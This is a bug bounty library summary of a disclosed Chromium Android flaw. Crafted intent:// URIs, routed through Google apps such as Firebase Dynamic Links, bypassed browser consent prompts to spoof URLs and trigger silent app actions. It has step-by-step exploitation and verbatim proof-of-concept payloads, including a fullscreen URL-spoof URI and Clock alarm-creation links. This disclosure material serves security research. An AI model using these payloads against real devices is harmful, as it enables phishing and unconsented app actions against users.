# Android web attack surface

Android intent:// handling in Chromium let web pages launch non-BROWSABLE intents and bypass browser-open prompts, enabling URL spoofing and silent app actions.

- Payout: $3,000
- Severity: medium
- Program: Google
- Found by: NDevTK
- Disclosed: 2024-08-01
- Write-up quality: 7/10
- Original: https://ndevtk.github.io/writeups/2024/08/01/awas/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2024-08-01-awas
- Tags: area:mobile domain:browser domain:mobile impact:integrity kind:bounty platform:blog sev:medium tech:android tech:chromium technique:chained technique:recon vuln:access-control vuln:open-redirect

**Target:** Chromium Android intent:// navigation and external app deep links (Firebase Dynamic Links, market://, Google app, Clock app)
**Root cause:** Chromium forwards intent:// URIs to installed apps without enforcing BROWSABLE category or user consent, and intermediary apps (Firebase Dynamic Links, Google app, face viewer) redirect intents on Chrome's behalf, bypassing the prompt patches.
**Steps:**
1. Craft `intent://ndevtk.page.link/PZXe#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;S.browser_fallback_url=https://play.google.com/store/apps/details%3Fid%3Dcom.sec.android.app.sbrowser&pcampaignid%3Dfdl_short&url%3Dhttps://terjanq.me/xss.php%3Fheaders;end;`
2. Navigate to it from a page with user activation
3. Firebase Dynamic Links opens attacker URL in Samsung/Firefox/Chrome, bypassing the open-other-browser prompt
4. Alternatively use `market://details?id=com.sec.android.app.sbrowser&url=https%3A%2F%2Fexample.org` to bypass issue 40060327
5. For URL spoof: `intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&card_content=https%3A%2F%2Fstorage.googleapis.com%2Fndevtk%2Fndevtk-spoof9.html&mode=3d_only#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end;` loads attacker page in fullscreen webview without warning toast
**How found:** Author studied Chromium external intents README and BROWSABLE requirements, then tested which installed Google apps perform intent redirects on Chrome's behalf (Firebase Dynamic Links, Google app, face viewer) and whether those redirects skip the user prompt.
**Exploitation:** Attacker hosts a page; victim taps a link with user activation. The intent:// URI is routed through a Google app (Firebase Dynamic Links, Google Search app, face viewer) that performs an intent redirect, launching a non-BROWSABLE intent or an attacker-chosen URL in another browser/webview without the consent prompt. Used for phishing URL spoofing, opening outdated browsers, and silent Clock app alarm creation.
**Escalation:** Chained with iframe sandbox allow-popups (treated as allow-top-navigation-to-custom-protocols) and with XSS on gstatic.com via faceViewerWebXBridge.postMessage to reach non-BROWSABLE intents.
**Insight:** Look for first-party apps that accept an intent and re-issue another intent (intent redirection); these intermediaries launder the BROWSABLE restriction and skip Chromium's consent prompt. Also test whether sandbox allow-popups implicitly grants custom-protocol top navigation.

## Proof of concept (copied exactly from the original report)

**Firebase dynamic link intent bypass**

```
intent://ndevtk.page.link/PZXe#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;S.browser_fallback_url=https://play.google.com/store/apps/details%3Fid%3Dcom.sec.android.app.sbrowser&pcampaignid%3Dfdl_short&url%3Dhttps://terjanq.me/xss.php%3Fheaders;end;
```

**market:// URL bypass to open other browser**

```
market://details?id=com.sec.android.app.sbrowser&url=https%3A%2F%2Fexample.org
```

**Clock app alarm creation intent**

```
clock-app://com.google.android.deskclock/alarm/create?dayOfWeek=Monday&hour=1&minute=1&message=duck&vibrate=true&enabled=true
clock-app://com.google.android.deskclock/stopwatch/start
clock-app://com.google.android.deskclock/stopwatch/rest
```

